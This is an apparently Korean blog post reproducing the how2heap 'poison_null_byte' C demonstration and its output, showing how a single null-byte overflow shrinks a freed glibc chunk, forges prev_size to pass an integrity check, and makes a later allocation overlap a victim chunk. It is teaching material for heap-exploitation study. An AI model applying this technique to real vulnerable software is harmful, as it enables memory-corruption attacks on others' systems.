[How2Heap] Poison_null_byte

Poison_null_byte.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>


int main()
{
fprintf(stderr, "null byte 2.0!\n");
fprintf(stderr, "테스트 환경: Ubuntu 14.04 64bit.\n");
fprintf(stderr, "이 기법은 glibc에서 tcache 옵션이 disabled된 상태에만 작동한다.\n");
fprintf(stderr, "이 기법은 null바이트를 이용하여 malloc된 영역으로 off-by-one할때 사용할 수 있다.\n");

uint8_t* a;
uint8_t* b;
uint8_t* c;
uint8_t* b1;
uint8_t* b2;
uint8_t* d;
void *barrier;

fprintf(stderr, "'a'에 0x100 bytes 할당한다.\n");
a = (uint8_t*) malloc(0x100);
fprintf(stderr, "a: %p\n", a);
int real_a_size = malloc_usable_size(a);
fprintf(stderr, "우리는 'a'에 overflow가 발생하는 것을 원하기 때문에, 'a'의 '진짜' 크기를 알 필요가 있다. "
"(반올림 때문에 0x100 이상이 될 수 있음): %#x\n", real_a_size);

/* chunk size attribute cannot have a least significant byte with a value of 0x00.
* the least significant byte of this will be 0x10, because the size of the chunk includes
* the amount requested plus some amount required for the metadata. */
b = (uint8_t*) malloc(0x200);

fprintf(stderr, "b: %p\n", b);

c = (uint8_t*) malloc(0x100);
fprintf(stderr, "c: %p\n", c);

barrier = malloc(0x100);
fprintf(stderr, "barrier를 %p에 할당하면, c는 free될 때 top-chunk로 consolidate되지 않는다.\n"
"barrier가 엄격하게 필요한 건 아니지만 상황을 덜 혼란스럽게 만든다.\n", barrier);

uint64_t* b_size_ptr = (uint64_t*)(b - 8);

// added fix for size==prev_size(next_chunk) check in newer versions of glibc
// https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30
// this added check requires we are allowed to have null pointers in b (not just a c string)
//*(size_t*)(b+0x1f0) = 0x200;
fprintf(stderr, "glibc의 새 버전에서 'chunksize(P) != prev_size (next_chunk(P))' 검사를 통과하려면 b안에 변경된(updated) 크기를 가지고 있어야 한다.\n");
// we set this location to 0x200 since 0x200 == (0x211 & 0xff00)
// which is the value of b.size after its first byte has been overwritten with a NULL byte
*(size_t*)(b+0x1f0) = 0x200;

// this technique works by overwriting the size metadata of a free chunk
free(b);

fprintf(stderr, "b.size: %#lx\n", *b_size_ptr);
fprintf(stderr, "b.size: (0x200 + 0x10) | prev_in_use\n");
fprintf(stderr, "우리는 'b'의 metadata에 있는 single null byte를 이용해서 'a'를 overflow한다.\n");
a[real_a_size] = 0; // exploit된 bug "
fprintf(stderr, "b.size: %#lx\n", *b_size_ptr);

uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
fprintf(stderr, "c.prev_size: %#lx\n",*c_prev_size_ptr);

// 이 malloc은 b였던 chunk에서 unlink를 호출하는 결과일 것이다.
// The added check (commit id: 17f487b), if not properly handled as we did before,
// will detect the heap corruption now.
// The check is this: chunksize(P) != prev_size (next_chunk(P)) where
// P == b-0x10, chunksize(P) == *(b-0x10+0x8) == 0x200 (was 0x210 before the overflow)
// next_chunk(P) == b-0x10+0x200 == b+0x1f0
// prev_size (next_chunk(P)) == *(b+0x1f0) == 0x200
fprintf(stderr, "우리는 chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P)) 이후로 검사를 통과할 것이다.\n",
*((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
b1 = malloc(0x100);

fprintf(stderr, "b1: %p\n",b1);
fprintf(stderr, "이제 우리는 'b1'을 malloc한다. 그것은 'b'에 있던 곳에 위치할 것이다. "
"이 시점에서 c.prev_size가 변경됐어야 했지만, 그렇지 않았다: %#lx\n",*c_prev_size_ptr);
fprintf(stderr, "흥미롭게도, c.prev_size의 변경된 값은 c.prev_size 앞에 0x10 bytes로 write됐다: %lx\n",*(((uint64_t*)c)-4));
fprintf(stderr, "'victim' chunk에 'b2'를 malloc한다.\n");
// 보통 b2(victim)는 우리가 조작할 수 있는 취약한 포인터를 가진 구조일 것이다.

b2 = malloc(0x80);
fprintf(stderr, "b2: %p\n",b2);

memset(b2,'B',0x80);
fprintf(stderr, "현재 b2 content:\n%s\n",b2);

fprintf(stderr, "이제 우리는 'b1'과 c를 free한다: 'b1'과 'c'청크는 consolidate될 것이다.(b2를 잊어버리고)\n");

free(b1);
free(c);

fprintf(stderr, "마지막으로, 'd'를 할당해서 'b2'를 overlapping한다.\n");
d = malloc(0x300);
fprintf(stderr, "d: %p\n",d);

fprintf(stderr, "'d'와 'b2'가 overlap되었다.\n");
memset(d,'D',0x300);

fprintf(stderr, "바뀐 b2 content:\n%s\n",b2);
}

null byte 2.0!
테스트 환경: Ubuntu 14.04 64bit.
이 기법은 glibc에서 tcache 옵션이 disabled된 상태에만 작동한다.
이 기법은 null바이트를 이용하여 malloc된 영역으로 off-by-one할때 사용할 수 있다.
'a’에 0x100 bytes 할당한다.
a: 0x603010
우리는 'a’에 overflow가 발생하는 것을 원하기 때문에, 'a’의 ‘진짜’ 크기를 알 필요가 있다. (반올림 때문에 0x100 이상이 될 수 있음): 0x108
b: 0x603120
c: 0x603330
barrier를 0x603440에 할당하면, c는 free될 때 top-chunk로 consolidate되지 않는다.
barrier가 엄격하게 필요한 건 아니지만 상황을 덜 혼란스럽게 만든다.
glibc의 새 버전에서 ‘chunksize§ != prev_size (next_chunk§)’ 검사를 통과하려면 b안에 변경된(updated) 크기를 가지고 있어야 한다.
b.size: 0x211
b.size: (0x200 + 0x10) | prev_in_use
우리는 'b’의 metadata에 있는 single null byte를 이용해서 'a’를 overflow한다.
b.size: 0x200
c.prev_size: 0x210
우리는 chunksize§ == 0x200 == 0x200 == prev_size (next_chunk§) 이후로 검사를 통과할 것이다.
b1: 0x603120
이제 우리는 'b1’을 malloc한다. 그것은 'b’에 있던 곳에 위치할 것이다. 이 시점에서 c.prev_size가 변경됐어야 했지만, 그렇지 않았다: 0x210
흥미롭게도, c.prev_size의 변경된 값은 c.prev_size 앞에 0x10 bytes로 write됐다: f0
‘victim’ chunk에 'b2’를 malloc한다.
b2: 0x603230
현재 b2 content:
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
이제 우리는 'b1’과 c를 free한다: 'b1’과 'c’청크는 consolidate될 것이다.(b2를 잊어버리고)
마지막으로, 'd’를 할당해서 'b2’를 overlapping한다.
d: 0x603120
'd’와 'b2’가 overlap되었다.
바뀐 b2 content: DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD

공유하기